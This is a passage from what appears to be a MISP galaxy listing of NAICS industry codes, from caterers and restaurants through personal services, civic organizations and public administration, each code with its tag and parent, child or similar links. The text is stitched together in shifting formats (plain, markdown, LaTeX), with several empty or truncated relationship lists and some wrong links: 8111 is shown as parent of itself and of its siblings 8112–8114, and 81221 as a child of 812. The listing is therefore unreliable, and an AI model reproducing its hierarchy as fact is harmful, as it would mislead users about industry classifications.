• similar: misp-galaxy:naics="722320" with estimative-language:likelihood-probability="likely"

722320
Caterers
The tag is: misp-galaxy:naics="722320"
View relationships graph

722320 has relationships with:
• child-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="72232" with estimative-language:likelihood-probability="likely"

72233
Mobile Food Services
The tag is: misp-galaxy:naics="72233"
View relationships graph

72233 has relationships with:
• child-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="722330" with estimative-language:likelihood-probability="likely"

722330
Mobile Food Services
The tag is: misp-galaxy:naics="722330"
View relationships graph

722330 has relationships with:
7224
Drinking Places (Alcoholic Beverages)
The tag is: misp-galaxy:naics="7224"
View relationships graph
7224 has relationships with:
- parent-of: misp-galaxy:naics="72241" with estimative-language:likelihood-probability="likely"

72241
Drinking Places (Alcoholic Beverages)
The tag is: misp-galaxy:naics="72241"
View relationships graph
72241 has relationships with:
- child-of: misp-galaxy:naics="7224" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="722410" with estimative-language:likelihood-probability="likely"

722410
Drinking Places (Alcoholic Beverages)
The tag is: misp-galaxy:naics="722410"
View relationships graph
722410 has relationships with:
- child-of: misp-galaxy:naics="7224" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="72241" with estimative-language:likelihood-probability="likely"

7225
Restaurants and Other Eating Places
The tag is: misp-galaxy:naics="7225"
7225 has relationships with:

- parent-of: misp-galaxy:naics="72251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722514" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722515" with estimative-language:likelihood-probability="likely"

72251
Restaurants and Other Eating Places
The tag is: misp-galaxy:naics="72251"

722511
Full-Service Restaurants
The tag is: misp-galaxy:naics="722511"

722513
Limited-Service Restaurants
The tag is: misp-galaxy:naics="722513"
722514
Cafeterias, Grill Buffets, and Buffets
The tag is: misp-galaxy:naics="722514"
View relationships graph
722514 has relationships with:
  • child-of: misp-galaxy:naics="7225" with estimative-language:likelihood-probability="likely"

722515
Snack and Nonalcoholic Beverage Bars
The tag is: misp-galaxy:naics="722515"
View relationships graph
722515 has relationships with:
  • child-of: misp-galaxy:naics="7225" with estimative-language:likelihood-probability="likely"

81
Other Services (except Public Administration)
The tag is: misp-galaxy:naics="81"
View relationships graph
81 has relationships with:
  • parent-of: misp-galaxy:naics="811" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="814" with estimative-language:likelihood-probability="likely"

811
Repair and Maintenance
The tag is: misp-galaxy:naics="811"
View relationships graph
811 has relationships with:
8111
Automotive Repair and Maintenance
The tag is: misp-galaxy:naics="8111"

View relationships graph

8111 has relationships with:

- child-of: misp-galaxy:naics="81" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"

81111
Automotive Mechanical and Electrical Repair and Maintenance
The tag is: misp-galaxy:naics="81111"

View relationships graph

81111 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811192" with estimative-language:likelihood-probability="likely"

811111
General Automotive Repair
The tag is: misp-galaxy:naics="811111"

View relationships graph

811111 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811114

Specialized Automotive Repair

The tag is: misp-galaxy:naics="811114"

View relationships graph

811114 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

81112

Automotive Body, Paint, Interior, and Glass Repair

The tag is: misp-galaxy:naics="81112"

View relationships graph

81112 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811121

Automotive Body, Paint, and Interior Repair and Maintenance

The tag is: misp-galaxy:naics="811121"

View relationships graph

811121 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811122

Automotive Glass Replacement Shops

The tag is: misp-galaxy:naics="811122"
811122 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

81119
Other Automotive Repair and Maintenance

The tag is: misp-galaxy:naics="81119"

81119 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811191
Automotive Oil Change and Lubrication Shops

The tag is: misp-galaxy:naics="811191"

811191 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811192
Car Washes

The tag is: misp-galaxy:naics="811192"

811192 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811198
All Other Automotive Repair and Maintenance

The tag is: misp-galaxy:naics="811198"
81198 has relationships with:
- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

8112
Electronic and Precision Equipment Repair and Maintenance
The tag is: misp-galaxy:naics="8112"
View relationships graph

8112 has relationships with:
- child-of: misp-galaxy:naics="811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811210" with estimative-language:likelihood-probability="likely"

81121
Electronic and Precision Equipment Repair and Maintenance
The tag is: misp-galaxy:naics="81121"
View relationships graph

81121 has relationships with:
- child-of: misp-galaxy:naics="8112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="811210" with estimative-language:likelihood-probability="likely"

811210
Electronic and Precision Equipment Repair and Maintenance
The tag is: misp-galaxy:naics="811210"
View relationships graph

811210 has relationships with:
- child-of: misp-galaxy:naics="8112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81121" with estimative-language:likelihood-probability="likely"

8113
Commercial and Industrial Machinery and Equipment (except Automotive and Electronic) Repair and Maintenance
The tag is: `misp-galaxy:naics="8113"`

View relationships graph

8113 has relationships with:

- child-of: `misp-galaxy:naics="811"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="81131"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="811310"` with estimative-language:likelihood-probability="likely"

81131

Commercial and Industrial Machinery and Equipment (except Automotive and Electronic) Repair and Maintenance

The tag is: `misp-galaxy:naics="81131"`

View relationships graph

81131 has relationships with:

- child-of: `misp-galaxy:naics="8113"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="811310"` with estimative-language:likelihood-probability="likely"

811310

Commercial and Industrial Machinery and Equipment (except Automotive and Electronic) Repair and Maintenance

The tag is: `misp-galaxy:naics="811310"`

View relationships graph

811310 has relationships with:

- child-of: `misp-galaxy:naics="8113"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="81131"` with estimative-language:likelihood-probability="likely"

8114

Personal and Household Goods Repair and Maintenance

The tag is: `misp-galaxy:naics="8114"`

View relationships graph

8114 has relationships with:

- child-of: `misp-galaxy:naics="811"` with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81141" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="811411" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="811412" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81142" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="811410" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="811420" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81143" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="811430" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81149" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="811490" with estimative-language:likelihood-probability="likely"

81141
Home and Garden Equipment and Appliance Repair and Maintenance
The tag is: misp-galaxy:naics="81141"
View relationships graph
81141 has relationships with:
• child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"

811411
Home and Garden Equipment Repair and Maintenance
The tag is: misp-galaxy:naics="811411"
View relationships graph
811411 has relationships with:
• child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"

811412
Appliance Repair and Maintenance
The tag is: misp-galaxy:naics="811412"
View relationships graph
811412 has relationships with:
• child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
81142
Reupholstery and Furniture Repair
The tag is: misp-galaxy:naics="81142"

View relationships graph

81142 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="811420" with estimative-language:likelihood-probability="likely"

811420
Reupholstery and Furniture Repair
The tag is: misp-galaxy:naics="811420"

View relationships graph

811420 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81142" with estimative-language:likelihood-probability="likely"

81143
Footwear and Leather Goods Repair
The tag is: misp-galaxy:naics="81143"

View relationships graph

81143 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="811430" with estimative-language:likelihood-probability="likely"

811430
Footwear and Leather Goods Repair
The tag is: misp-galaxy:naics="811430"

View relationships graph

811430 has relationships with:
• child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="81143" with estimative-language:likelihood-probability="likely"

81149
Other Personal and Household Goods Repair and Maintenance
The tag is: misp-galaxy:naics="81149"

View relationships graph

81149 has relationships with:
• child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="811490" with estimative-language:likelihood-probability="likely"

811490
Other Personal and Household Goods Repair and Maintenance
The tag is: misp-galaxy:naics="811490"

View relationships graph

811490 has relationships with:
• child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="81149" with estimative-language:likelihood-probability="likely"

812
Personal and Laundry Services
The tag is: misp-galaxy:naics="812"

View relationships graph

812 has relationships with:
• child-of: misp-galaxy:naics="81" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="8122" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"
8121
Personal Care Services
The tag is: misp-galaxy:naics="8121"
View relationships graph
8121 has relationships with:

- child-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81219" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812199" with estimative-language:likelihood-probability="likely"

81211
Hair, Nail, and Skin Care Services
The tag is: misp-galaxy:naics="81211"
View relationships graph
81211 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

812111
Barber Shops
The tag is: misp-galaxy:naics="812111"
View relationships graph
812111 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

812112
Beauty Salons
The tag is: misp-galaxy:naics="812112"

View relationships graph

812112 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

812113

Nail Salons

The tag is: misp-galaxy:naics="812113"

View relationships graph

812113 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

81219

Other Personal Care Services

The tag is: misp-galaxy:naics="81219"

View relationships graph

81219 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

812191

Diet and Weight Reducing Centers

The tag is: misp-galaxy:naics="812191"

View relationships graph

812191 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

812199

Other Personal Care Services

The tag is: misp-galaxy:naics="812199"
View relationships graph

812199 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

8122

Death Care Services

The tag is: misp-galaxy:naics="8122"

View relationships graph

8122 has relationships with:

- child-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812220" with estimative-language:likelihood-probability="likely"

81221

Funeral Homes and Funeral Services

The tag is: misp-galaxy:naics="81221"

View relationships graph

81221 has relationships with:

- child-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="812210" with estimative-language:likelihood-probability="likely"

812210

Funeral Homes and Funeral Services

The tag is: misp-galaxy:naics="812210"

View relationships graph

812210 has relationships with:

- child-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81221" with estimative-language:likelihood-probability="likely"
81222
Cemeteries and Crematories
The tag is: misp-galaxy:naics="81222"

View relationships graph

81222 has relationships with:

• child-of: misp-galaxy:naics="8122" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="812220" with estimative-language:likelihood-probability="likely"

812220
Cemeteries and Crematories
The tag is: misp-galaxy:naics="812220"

View relationships graph

812220 has relationships with:

• child-of: misp-galaxy:naics="8122" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="81222" with estimative-language:likelihood-probability="likely"

8123
Drycleaning and Laundry Services
The tag is: misp-galaxy:naics="8123"

View relationships graph

8123 has relationships with:

• child-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81231" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="812310" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81232" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="812320" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81233" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="812331" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="812332" with estimative-language:likelihood-probability="likely"
81231

Coin-Operated Laundries and Drycleaners

The tag is: misp-galaxy:naics="81231"

View relationships graph

81231 has relationships with:

• child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="812310" with estimative-language:likelihood-probability="likely"

812310

Coin-Operated Laundries and Drycleaners

The tag is: misp-galaxy:naics="812310"

View relationships graph

812310 has relationships with:

• child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="81231" with estimative-language:likelihood-probability="likely"

81232

Drycleaning and Laundry Services (except Coin-Operated)

The tag is: misp-galaxy:naics="81232"

View relationships graph

81232 has relationships with:

• child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="812320" with estimative-language:likelihood-probability="likely"

812320

Drycleaning and Laundry Services (except Coin-Operated)

The tag is: misp-galaxy:naics="812320"

View relationships graph

812320 has relationships with:
81233
Linen and Uniform Supply
The tag is: misp-galaxy:naics="81233"
View relationships graph
81233 has relationships with:
  • child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"

812331
Linen Supply
The tag is: misp-galaxy:naics="812331"
View relationships graph
812331 has relationships with:
  • child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"

812332
Industrial Launderers
The tag is: misp-galaxy:naics="812332"
View relationships graph
812332 has relationships with:
  • child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"

8129
Other Personal Services
The tag is: misp-galaxy:naics="8129"
View relationships graph
8129 has relationships with:
  • child-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
81291
Pet Care (except Veterinary) Services
The tag is: `misp-galaxy:naics=“81291”`

View relationships graph

81291 has relationships with:

- child-of: `misp-galaxy:naics=“8129”` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics=“812910”` with estimative-language:likelihood-probability="likely"

812910
Pet Care (except Veterinary) Services
The tag is: `misp-galaxy:naics=“812910”`

View relationships graph

812910 has relationships with:

- child-of: `misp-galaxy:naics=“8129”` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics=“81291”` with estimative-language:likelihood-probability="likely"

81292
Photofinishing
The tag is: `misp-galaxy:naics=“81292”`

View relationships graph

81292 has relationships with:
812921
Photofinishing Laboratories (except One-Hour)
The tag is: misp-galaxy:naics="812921"
View relationships graph
812921 has relationships with:
  • child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"

812922
One-Hour Photofinishing
The tag is: misp-galaxy:naics="812922"
View relationships graph
812922 has relationships with:
  • child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"

81293
Parking Lots and Garages
The tag is: misp-galaxy:naics="81293"
View relationships graph
81293 has relationships with:
  • child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="812930" with estimative-language:likelihood-probability="likely"

812930
Parking Lots and Garages
The tag is: misp-galaxy:naics="812930"
View relationships graph
812930 has relationships with:
  • child-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"
81299

All Other Personal Services

The tag is: `misp-galaxy:naics="81299"`

View relationships graph

81299 has relationships with:

- child-of: `misp-galaxy:naics="8129"`
- similar: `misp-galaxy:naics="812990"`

812990

All Other Personal Services

The tag is: `misp-galaxy:naics="812990"`

View relationships graph

812990 has relationships with:

- child-of: `misp-galaxy:naics="8129"`
- similar: `misp-galaxy:naics="81299"`

813

Religious, Grantmaking, Civic, Professional, and Similar Organizations

The tag is: `misp-galaxy:naics="813"`

View relationships graph

813 has relationships with:

- child-of: `misp-galaxy:naics="81"`
- parent-of: `misp-galaxy:naics="8131"`
- parent-of: `misp-galaxy:naics="8132"`
- parent-of: `misp-galaxy:naics="8133"`
- parent-of: `misp-galaxy:naics="8134"`
- parent-of: `misp-galaxy:naics="8139"`
8131
Religious Organizations
The tag is: misp-galaxy:naics="8131"

View relationships graph

8131 has relationships with:

• child-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81311" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="813110" with estimative-language:likelihood-probability="likely"

81311
Religious Organizations
The tag is: misp-galaxy:naics="81311"

View relationships graph

81311 has relationships with:

• child-of: misp-galaxy:naics="8131" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="813110" with estimative-language:likelihood-probability="likely"

813110
Religious Organizations
The tag is: misp-galaxy:naics="813110"

View relationships graph

813110 has relationships with:

• child-of: misp-galaxy:naics="8131" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="81311" with estimative-language:likelihood-probability="likely"

8132
Grantmaking and Giving Services
The tag is: misp-galaxy:naics="8132"

View relationships graph
8132 has relationships with:

- child-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813219" with estimative-language:likelihood-probability="likely"

### 81321

Grantmaking and Giving Services

The tag is: *misp-galaxy:naics="81321"*

View relationships graph

81321 has relationships with:

- child-of: misp-galaxy:naics="8132" with estimative-language:likelihood-probability="likely"

### 813211

Grantmaking Foundations

The tag is: *misp-galaxy:naics="813211"*

View relationships graph

813211 has relationships with:

- child-of: misp-galaxy:naics="8132" with estimative-language:likelihood-probability="likely"

### 813212

Voluntary Health Organizations

The tag is: *misp-galaxy:naics="813212"*

View relationships graph

813212 has relationships with:

- child-of: misp-galaxy:naics="8132" with estimative-language:likelihood-probability="likely"

### 813219

Other Grantmaking and Giving Services
The tag is: misp-galaxy:naics="813219"

View relationships graph

813219 has relationships with:

• child-of: misp-galaxy:naics="8132" with estimative-language:likelihood-probability="likely"

8133

Social Advocacy Organizations

The tag is: misp-galaxy:naics="8133"

View relationships graph

8133 has relationships with:

• child-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81331" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="813311" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="813312" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="813319" with estimative-language:likelihood-probability="likely"

81331

Social Advocacy Organizations

The tag is: misp-galaxy:naics="81331"

View relationships graph

81331 has relationships with:

• child-of: misp-galaxy:naics="8133" with estimative-language:likelihood-probability="likely"

813311

Human Rights Organizations

The tag is: misp-galaxy:naics="813311"

View relationships graph

813311 has relationships with:

• child-of: misp-galaxy:naics="8133" with estimative-language:likelihood-probability="likely"
813312
Environment, Conservation and Wildlife Organizations
The tag is: misp-galaxy:naics="813312"
View relationships graph
813312 has relationships with:
  • child-of: misp-galaxy:naics="8133" with estimative-language:likelihood-probability="likely"

813319
Other Social Advocacy Organizations
The tag is: misp-galaxy:naics="813319"
View relationships graph
813319 has relationships with:
  • child-of: misp-galaxy:naics="8133" with estimative-language:likelihood-probability="likely"

8134
Civic and Social Organizations
The tag is: misp-galaxy:naics="8134"
View relationships graph
8134 has relationships with:
  • child-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="81341" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="813410" with estimative-language:likelihood-probability="likely"

81341
Civic and Social Organizations
The tag is: misp-galaxy:naics="81341"
View relationships graph
81341 has relationships with:
  • child-of: misp-galaxy:naics="8134" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="813410" with estimative-language:likelihood-probability="likely"

813410
Civic and Social Organizations
The tag is: misp-galaxy:naics="813410"

View relationships graph

813410 has relationships with:
• child-of: misp-galaxy:naics="8134" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="81341" with estimative-language:likelihood-probability="likely"

8139
Business, Professional, Labor, Political, and Similar Organizations
The tag is: misp-galaxy:naics="8139"

View relationships graph

8139 has relationships with:
• child-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81391" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="813910" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81392" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="813920" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81393" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="813930" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81394" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="813940" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="81399" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="813990" with estimative-language:likelihood-probability="likely"

81391
Business Associations
The tag is: misp-galaxy:naics="81391"

View relationships graph
81391 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="813910" with estimative-language:likelihood-probability="likely"

813910

Business Associations

The tag is: misp-galaxy:naics="813910"

View relationships graph

813910 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81391" with estimative-language:likelihood-probability="likely"

81392

Professional Organizations

The tag is: misp-galaxy:naics="81392"

View relationships graph

81392 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="813920" with estimative-language:likelihood-probability="likely"

813920

Professional Organizations

The tag is: misp-galaxy:naics="813920"

View relationships graph

813920 has relationships with:

- child-of: misp-galaxy:naics="8139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81392" with estimative-language:likelihood-probability="likely"

81393

Labor Unions and Similar Labor Organizations
The tag is: \textit{misp-galaxy:naics="81393"}

\textbf{View relationships graph}

81393 has relationships with:

- child-of: \textit{misp-galaxy:naics="8139"} with \textit{estimative-language:likelihood-probability="likely"}
- similar: \textit{misp-galaxy:naics="813930"} with \textit{estimative-language:likelihood-probability="likely"}

\textbf{813930}

Labor Unions and Similar Labor Organizations

The tag is: \textit{misp-galaxy:naics="813930"}

\textbf{View relationships graph}

813930 has relationships with:

- child-of: \textit{misp-galaxy:naics="8139"} with \textit{estimative-language:likelihood-probability="likely"}
- similar: \textit{misp-galaxy:naics="81393"} with \textit{estimative-language:likelihood-probability="likely"}

\textbf{81394}

Political Organizations

The tag is: \textit{misp-galaxy:naics="81394"}

\textbf{View relationships graph}

81394 has relationships with:

- child-of: \textit{misp-galaxy:naics="8139"} with \textit{estimative-language:likelihood-probability="likely"}
- similar: \textit{misp-galaxy:naics="813940"} with \textit{estimative-language:likelihood-probability="likely"}

\textbf{813940}

Political Organizations

The tag is: \textit{misp-galaxy:naics="813940"}

\textbf{View relationships graph}

813940 has relationships with:

- child-of: \textit{misp-galaxy:naics="8139"} with \textit{estimative-language:likelihood-probability="likely"}
- similar: \textit{misp-galaxy:naics="81394"} with \textit{estimative-language:likelihood-probability="likely"}
81399
Other Similar Organizations (except Business, Professional, Labor, and Political Organizations)
The tag is: `misp-galaxy:naics="81399"`
View relationships graph

81399 has relationships with:
- child-of: `misp-galaxy:naics="8139"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="813990"` with estimative-language:likelihood-probability="likely"

813990
Other Similar Organizations (except Business, Professional, Labor, and Political Organizations)
The tag is: `misp-galaxy:naics="813990"`
View relationships graph

813990 has relationships with:
- child-of: `misp-galaxy:naics="8139"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="81399"` with estimative-language:likelihood-probability="likely"

814
Private Households
The tag is: `misp-galaxy:naics="814"`
View relationships graph

814 has relationships with:
- child-of: `misp-galaxy:naics="81"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="8141"` with estimative-language:likelihood-probability="likely"

8141
Private Households
The tag is: `misp-galaxy:naics="8141"`
View relationships graph

8141 has relationships with:
81411

Private Households

The tag is: `misp-galaxy:naics="81411"`

View relationships graph

81411 has relationships with:

- child-of: `misp-galaxy:naics="8141"`
- similar: `misp-galaxy:naics="814110"`

814110

Private Households

The tag is: `misp-galaxy:naics="814110"`

View relationships graph

814110 has relationships with:

- child-of: `misp-galaxy:naics="8141"`
- similar: `misp-galaxy:naics="81411"`

92

Public Administration

The tag is: `misp-galaxy:naics="92"`

View relationships graph

92 has relationships with:

- parent-of: `misp-galaxy:naics="921"`
- parent-of: `misp-galaxy:naics="922"`
- parent-of: `misp-galaxy:naics="923"`
- parent-of: `misp-galaxy:naics="924"`
- parent-of: `misp-galaxy:naics="925"`
- parent-of: `misp-galaxy:naics="926"`
921
Executive, Legislative, and Other General Government Support

The tag is: `misp-galaxy:naics="921"`

View relationships graph

921 has relationships with:

- child-of: `misp-galaxy:naics="92"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="9211"` with estimative-language:likelihood-probability="likely"

9211
Executive, Legislative, and Other General Government Support

The tag is: `misp-galaxy:naics="9211"`

View relationships graph

9211 has relationships with:

- child-of: `misp-galaxy:naics="92"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="92111"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="921110"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="92112"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="921120"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="92113"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="921130"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="92114"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="921140"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="92115"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="92119"` with estimative-language:likelihood-probability="likely"
